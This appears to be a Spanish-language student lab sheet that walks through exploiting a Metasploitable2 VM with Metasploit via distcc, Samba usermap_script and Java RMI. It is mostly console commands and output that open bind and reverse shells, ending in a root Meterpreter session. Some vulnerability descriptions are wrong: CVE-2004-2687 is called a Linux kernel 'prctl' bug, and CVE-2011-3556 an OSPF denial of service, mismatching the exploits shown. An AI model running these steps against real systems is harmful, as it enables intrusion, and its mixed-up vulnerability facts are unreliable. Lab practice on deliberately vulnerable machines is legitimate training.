


EJERCICIOS METASPLOIT BÁSICO Prerrequisitos

Kali Linux
Metasploitable2

Ejercicio 1 - OSINT y Metasploit

- Vulnerabilidad: CVE-2004-2687 (Distcc)
 - Ficha de la vulnerabilidad:
 - **Descripción:** conocida como la vulnerabilidad "prctl". Permite a atacantes remotos ejecutar comandos arbitrarios a través de trabajos de compilación, que son ejecutados por el servidor sin comprobaciones de autorización.
 - **A que software afecta:** afecta al kernel de Linux en versiones anteriores a la 2.6.6. Dado que esta vulnerabilidad está relacionada con el kernel de Linux, afecta a sistemas operativos basados en Linux que utilizan versiones del kernel anteriores a 2.6.6. Esto incluye diversas distribuciones de Linux.
 - **Utilidad del software:** El kernel de Linux es el núcleo del sistema operativo Linux. Es esencial para el funcionamiento del sistema, ya que proporciona una interfaz entre el hardware del sistema y las aplicaciones de software. Controla los recursos del hardware y permite que los programas se comuniquen con el hardware de la computadora.
 - **Versiones del software afectadas:** La vulnerabilidad afecta a las versiones del kernel de Linux anteriores a la 2.6.6.
 - **Puertos que lo utilizan:** no está directamente asociada con un puerto específico, ya que es una vulnerabilidad en el núcleo del sistema operativo Linux. No se refiere a una vulnerabilidad de red que esté vinculada a un puerto de red en particular.
 - **Módulos de metasploit relacionados:** algunos de los módulos de Metasploit relacionados con la vulnerabilidad CVE-2004-2687 pueden estar diseñados para sistemas específicos o para ciertas condiciones, y pueden ser utilizados por profesionales de seguridad y hackers éticos para evaluar la seguridad de sistemas y redes.

Latest Metasploit Modules 			View All Modules >
TITLE	DATE	AUTHOR	
Land #18348, Splunk account take over (CVE-2023-32707) leading to RCE	Oct 26, 2023	zgoldman-r7	
Land #18194, Useradd post module	Oct 25, 2023	cdelafuente-r7	
Land #18460, VMWare Aria Operations for Networks (vRealize Network Insight) Static SSH key RCE	Oct 24, 2023	cdelafuente-r7	
Land #18447, CVE-2023-22515 Confluence Auth Bypass CVE-2023-22515 - Atlassian Confluence Data Center and Server Authentication Bypass	Oct 19, 2023	smcintyre-r7	
Land #18461, CVE-2023-22515 - Atlassian Confluence unauthenticated RCE	Oct 19, 2023	cdelafuente-r7	
Land #18449, Update mysql authbypass hashdump module to correctly close sockets	Oct 13, 2023	cgranleese-r7	

- Explotar la vulnerabilidad:
 - Buscar módulos de exploit en Metasploit
 - Elegir payload
 - Configurar y explotar

Iniciamos metasploit

```
(root@kali)-[~]
# msfconsole -q
msf6 >
```

Buscamos distcc

```
msf6 > search distcc
Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check
0	exploit/unix/misc/distcc_exec	2002-02-01	excellent	Yes

DistCC Daemon Command Execution

Seleccionamos la única encontrada

```
msf6 > set 0
0 =>
```

miramos la información de esta misma

```
msf6 > info 0
```

Name: DistCC Daemon Command Execution
Module: exploit/unix/misc/distcc_exec
Platform: Unix
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2002-02-01

Provided by:
hdm <x@hdm.io>

Available targets:

Id	Name
0	Automatic Target

Check supported:
Yes

Basic options:

Name	Current Setting	Required	Description
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit.html
RPORT	3632	yes	The target port (TCP)

Una vez observamos la información, la seleccionamos utilizando el comando use 0

```
msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_bash
msf6 exploit(unix/misc/distcc_exec) > show options
```

Module options (exploit/unix/misc/distcc_exec):

Name	Current Setting	Required	Description
CHOST		no	The local client address
CPORT		no	The local client port
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	3632	yes	The target port (TCP)

Payload options (cmd/unix/reverse_bash):

Name	Current Setting	Required	Description
LHOST	10.0.2.9	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	Automatic Target

Observamos que el RHOST no está establecido y por tanto lo establecemos de la siguiente forma

```
msf6 exploit(unix/misc/distcc_exec) > set RHOSTS 10.0.2.7
RHOSTS => 10.0.2.7
msf6 exploit(unix/misc/distcc_exec) > show options

Module options (exploit/unix/misc/distcc_exec):
```

Name	Current Setting	Required	Description
CHOST		no	The local client address
CPORT		no	The local client port
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS	10.0.2.7	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	3632	yes	The target port (TCP)

```

Payload options (cmd/unix/reverse_bash):
```

Name	Current Setting	Required	Description
LHOST	10.0.2.9	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Buscamos los payloads de esta misma

```
msf6 exploit(unix/misc/distcc_exec) > show payloads

Compatible Payloads
```

#	Name	Description	Disclosure Date	Rank
0	payload/cmd/unix/adduser	Add user with useradd		norm
1	payload/cmd/unix/bind_perl	Unix Command Shell, Bind TCP (via Perl)		norm
2	payload/cmd/unix/bind_perl_ipv6	Unix Command Shell, Bind TCP (via perl) IPv6		norm
3	payload/cmd/unix/bind_ruby	Unix Command Shell, Bind TCP (via Ruby)		norm
4	payload/cmd/unix/bind_ruby_ipv6	Unix Command Shell, Bind TCP (via Ruby) IPv6		norm
5	payload/cmd/unix/generic	Unix Command, Generic Command Execution		norm
6	payload/cmd/unix/reverse	Unix Command Shell, Double Reverse TCP (telnet)		norm
7	payload/cmd/unix/reverse_bash	Unix Command Shell, Reverse TCP (/dev/tcp)		norm
8	payload/cmd/unix/reverse_bash_telnet_ssl	Unix Command Shell, Reverse TCP SSL (telnet)		norm
9	payload/cmd/unix/reverse_openssl	Unix Command Shell, Double Reverse TCP SSL (openssl)		norm
10	payload/cmd/unix/reverse_perl	Unix Command Shell, Reverse TCP (via Perl)		norm
11	payload/cmd/unix/reverse_perl_ssl	Unix Command Shell, Reverse TCP SSL (via perl)		norm

Escogemos el payload 3 y confirmamos si está bien escogido

```
msf6 exploit(unix/misc/distcc_exec) > set payload 3
payload => cmd/unix/bind_ruby
msf6 exploit(unix/misc/distcc_exec) > show options

Module options (exploit/unix/misc/distcc_exec):
```

Name	Current Setting	Required	Description
CHOST		no	The local client address
CPORT		no	The local client port
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS	10.0.2.7	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	3632	yes	The target port (TCP)

```

Payload options (cmd/unix/bind_ruby):
```

Name	Current Setting	Required	Description
LPORT	4444	yes	The listen port
RHOST	10.0.2.7	no	The target address

Lo explotamos y estaría ya

```
msf6 exploit(unix/misc/distcc_exec) > run

[*] Started bind TCP handler against 10.0.2.7:4444
[*] Command shell session 1 opened (10.0.2.9:45611 → 10.0.2.7:4444) at 2023-10-31 15:13:57 +0100

whoami
daemon
```

Ejercicio 2 - OSINT y Metasploit

- Vulnerabilidad: CVE-2007-2447 (Samba)
 - Ficha de la vulnerabilidad:
 - **Descripción:** vulnerabilidad de ejecución remota de código que permite a un atacante enviar un paquete especialmente diseñado al servidor Samba y ejecutar código arbitrario con los privilegios del usuario que ejecuta el servidor Samba. Esto puede llevar a la toma de control completa del sistema afectado.
 - **A que software afecta:** afecta a las versiones de Samba desde 3.0.0 hasta 3.0.25rc3. Se ha corregido en las versiones posteriores a 3.0.25rc3.
 - **Utilidad del software:** utilizado para permitir la interoperabilidad entre sistemas Unix y sistemas Windows en una red. Permite compartir archivos, impresoras y otros recursos entre sistemas con diferentes sistemas operativos.
 - **Versiones del software afectadas:** afecta a las versiones de Samba desde la 3.0.0 hasta la 3.0.25rc3.
 - **Puertos que lo utilizan:** utiliza los puertos 137, 138, 139 y 445 para las comunicaciones SMB/CIFS.
 - **Módulos de metasploit relacionados:**
https://www.rapid7.com/db/modules/exploit/multi/samba/usermap_script/

Samba "username map script" Command Execution

Disclosed	Created
05/14/2007	05/30/2018

Description

This module exploits a command execution vulnerability in Samba versions 3.0.20 through 3.0.25rc3 when using the non-default "username map script" configuration option. By specifying a username containing shell meta characters, attackers can execute arbitrary commands. No authentication is needed to exploit this vulnerability since this option is used to map usernames prior to authentication!

Author(s)

- jduck <jduck@metasploit.com>

Platform

Unix

Architectures

cmd

- Explotar la vulnerabilidad:
 - Buscar módulos de exploit en Metasploit:
 - Elegir payload:
 - Configurar y explotar:

Iniciamos metasploit y realizamos la siguiente búsqueda

```
msf6 > search type:exploit cve:2007 samba

Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/multi/samba/usermap_script	2007-05-14	excellent	No	Samba "username map script" Command Execution
1	exploit/linux/samba/lsa_transnames_heap	2007-05-14	good	Yes	Samba lsa_trans_names Heap Overflow
2	exploit/osx/samba/lsa_transnames_heap	2007-05-14	average	No	Samba lsa_trans_names Heap Overflow
3	exploit/solaris/samba/lsa_transnames_heap	2007-05-14	average	No	Samba lsa_trans_names Heap Overflow

Utilizamos el 0 y observamos la información de este mismo

```
msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > info

Name: Samba "username map script" Command Execution
Module: exploit/multi/samba/usermap_script
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2007-05-14

Provided by:
jduck <jduck@metasploit.com>

Available targets:
  Id  Name
  --  --
  => 0  Automatic

Check supported:
No

Basic options:
  Name      Current Setting  Required  Description
  ---      -
  RHOSTS    10.0.2.7         yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     139              yes       The target port (TCP)
```

Observamos las opciones y establecemos el RHOSTS de la metasploitable

```
msf6 exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

  Name      Current Setting  Required  Description
  ---      -
  RHOSTS    10.0.2.7         yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     139              yes       The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

  Name      Current Setting  Required  Description
  ---      -
  LHOST     10.0.2.9         yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.

msf6 exploit(multi/samba/usermap_script) > set RHOSTS 10.0.2.7
RHOSTS => 10.0.2.7
```

Observamos los payloads con el siguiente comando

```
msf6 exploit(multi/samba/usermap_script) > show payloads

Compatible Payloads

  #  Name      Disclosure Date  Rank  Check  Descriptio
  --  --
  0  payload/cmd/unix/adduser  normal  No  Add user w
  1  payload/cmd/unix/bind_awk  normal  No  Unix Comma
  2  payload/cmd/unix/bind_busybox_telnetd  normal  No  Unix Comma
  3  payload/cmd/unix/bind_inetd  normal  No  Unix Comma
  4  payload/cmd/unix/bind_jjs  normal  No  Unix Comma
  5  payload/cmd/unix/bind_lua  normal  No  Unix Comma
```

Probamos con el payload 2 y comprobamos

```
msf6 exploit(multi/samba/usermap_script) > set payload 2
payload => cmd/unix/bind_busybox_telnetd
msf6 exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):
  Name      Current Setting  Required  Description
  ---      -
  CHOST      10.0.2.7         no        The local client address
  CPORT      139              no        The local client port
  Proxies    []               no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     10.0.2.7         yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      139              yes       The target port (TCP)

Payload options (cmd/unix/bind_busybox_telnetd):
  Name      Current Setting  Required  Description
  ---      -
  LOGIN_CMD /bin/sh         yes       Command telnetd will execute on connect
  LPORT     4444            yes       The listen port
  RHOST     10.0.2.7        no        The target address
```

Hacemos exploit y comprobamos que estamos dentro

```
msf6 exploit(multi/samba/usermap_script) > run

[*] Started bind TCP handler against 10.0.2.7:4444
[*] Command shell session 1 opened (10.0.2.9:44077 -> 10.0.2.7:4444) at 2023-10-31 15:35:44 +0100

whoami
daemon
```

Ejercicio 3 - OSINT y Metasploit

- Vulnerabilidad: CVE-2011-3556 (Java RMI)
 - Ficha de la vulnerabilidad:
 - **Descripción:** vulnerabilidad de denegación de servicio (DoS) que afecta al protocolo de enrutamiento OSPF (Open Shortest Path First), un protocolo de enrutamiento utilizado para el intercambio de información de enrutamiento en redes IP.
 - **A que software afecta:** afecta a varios sistemas y plataformas que implementan el protocolo OSPF. Las versiones específicas de software afectadas pueden variar dependiendo de cómo implementan el protocolo OSPF y las configuraciones de seguridad de red. Es importante consultar las actualizaciones y los avisos de seguridad del proveedor del software o del fabricante del equipo de red para obtener información precisa sobre las versiones específicas afectadas
 - **Utilidad del software:** OSPF es un protocolo de enrutamiento de estado de enlace ampliamente utilizado en redes empresariales y de proveedores de servicios. Se utiliza para calcular las rutas más cortas entre nodos en una red IP y se basa en el estado del enlace para tomar decisiones de enrutamiento.
 - **Versiones del software afectadas:** Las versiones específicas del software afectadas pueden variar dependiendo de cómo implementan el protocolo OSPF y las configuraciones de seguridad de red.
 - **Puertos que lo utilizan:** utiliza el puerto UDP 89 para la comunicación entre los routers en una red. Específicamente, OSPF utiliza el puerto 89 para las actualizaciones de estado (OSPF LSAs - Link State Advertisements) y otros mensajes OSPF. Al configurar un firewall o una política de seguridad, es importante permitir el tráfico en el puerto UDP 89 si OSPF se está utilizando en la red para asegurar la comunicación adecuada entre los routers OSPF.
 - **Módulos de metasploit relacionados:**
https://www.rapid7.com/db/modules/exploit/multi/misc/java_rmi_server

Java RMI Server Insecure Default Configuration Java Code Execution

Disclosed	Created
10/15/2011	05/30/2018

Description

This module takes advantage of the default configuration of the RMI Registry and RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it invokes a method in the RMI Distributed Garbage Collector which is available via every RMI endpoint, it can be used against both rmiregistry and rmid, and against most other (custom) RMI endpoints as well. Note that it does not work against Java Management Extension (JMX) ports since those do not support remote class loading, unless another RMI endpoint is active in the same Java process. RMI method calls do not support or require any sort of authentication.

Author(s)

- mihi

Platform

Java,Linux,OSX,Solaris,Windows

- Explotar la vulnerabilidad:
 - Buscar módulos de exploit en Metasploit
 - Elegir payload
 - Configurar y explotar

Una vez abierto metasploit, escribimos lo siguiente

```
(root@kali)-[~]
└─# msfconsole -q
msf6 > search type:exploit cve:2011 Java_RMI

Matching Modules
=====
#  Name
-  -
0  exploit/multi/misc/java_rmi_server  2011-10-15  excellent  Yes  Java RMI Server Insecure Default Configuration Java Code Execution
```


Utilizamos el único hallado y miramos la información de este mismo

```
msf6 > use 0
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > info

Name: Java RMI Server Insecure Default Configuration Java Code Execution
Module: exploit/multi/misc/java_rmi_server
Platform: Java, Linux, OSX, Solaris, Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2011-10-15

Provided by:
mihi

Available targets:
  Id  Name
  --  --
  0   Generic (Java Payload)
  1   Windows x86 (Native Payload)
  2   Linux x86 (Native Payload)
  3   Mac OS X PPC (Native Payload)
  4   Mac OS X x86 (Native Payload)
```

Con esta info nos damos cuenta de que el RHOST no está establecido y por ende lo establecemos y comprobamos

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 10.0.2.7
RHOSTS => 10.0.2.7
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

  Name      Current Setting  Required  Description
  --      -
  HTTPDELAY  10              yes       Time that the HTTP Server will wait for the payload request
  RHOSTS    10.0.2.7        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     1099            yes       The target port (TCP)
  SRVHOST   0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT   8080            yes       The local port to listen on.
  SSL       false           no        Negotiate SSL for incoming connections
  SSLCert   false           no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH   /               no        The URI to use for this exploit (default is random)
```

Una vez hecho esto le pedimos que nos enseñe los payloads

```
msf6 exploit(multi/misc/java_rmi_server) > show payloads

Compatible Payloads

  #  Name                                     Disclosure Date  Rank  Check  Description
  --  --
  0  payload/cmd/unix/bind_aws_instance_connect  normal         No    Unix SSH Shell, Bind Instance Connect (via AWS API)
  1  payload/generic/custom                    normal         No    Custom Payload
  2  payload/generic/shell_bind_aws_ssm         normal         No    Command Shell, Bind SSM (via AWS API)
  3  payload/generic/shell_bind_tcp             normal         No    Generic Command Shell, Bind TCP Inline
  4  payload/generic/shell_reverse_tcp          normal         No    Generic Command Shell, Reverse TCP Inline
  5  payload/generic/ssh/interact               normal         No    Interact with Established SSH Connection
  6  payload/java/jsp_shell_bind_tcp            normal         No    Java JSP Command Shell, Bind TCP Inline
```

Elegimos el 11 y comprobamos que lo hemos hecho

Module options (exploit/multi/misc/java_rmi_server):

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request
RHOSTS	10.0.2.7	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
LHOST	10.0.2.9	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Arrancamos y comprobamos

```
msf6 exploit(multi/misc/java_rmi_server) > run

[*] Started reverse TCP handler on 10.0.2.9:4444
[*] 10.0.2.7:1099 - Using URL: http://10.0.2.9:8080/VvKyJHGIATB
[*] 10.0.2.7:1099 - Server started.
[*] 10.0.2.7:1099 - Sending RMI Header...
[*] 10.0.2.7:1099 - Sending RMI Call...
[*] 10.0.2.7:1099 - Replied to request for payload JAR
[*] Sending stage (57670 bytes) to 10.0.2.7
[*] Meterpreter session 3 opened (10.0.2.9:4444 → 10.0.2.7:60511) at 2023-11-02 14:50:44 +0100

meterpreter > getiud
[-] Unknown command: getiud
meterpreter > getuid
Server username: root
meterpreter > 
```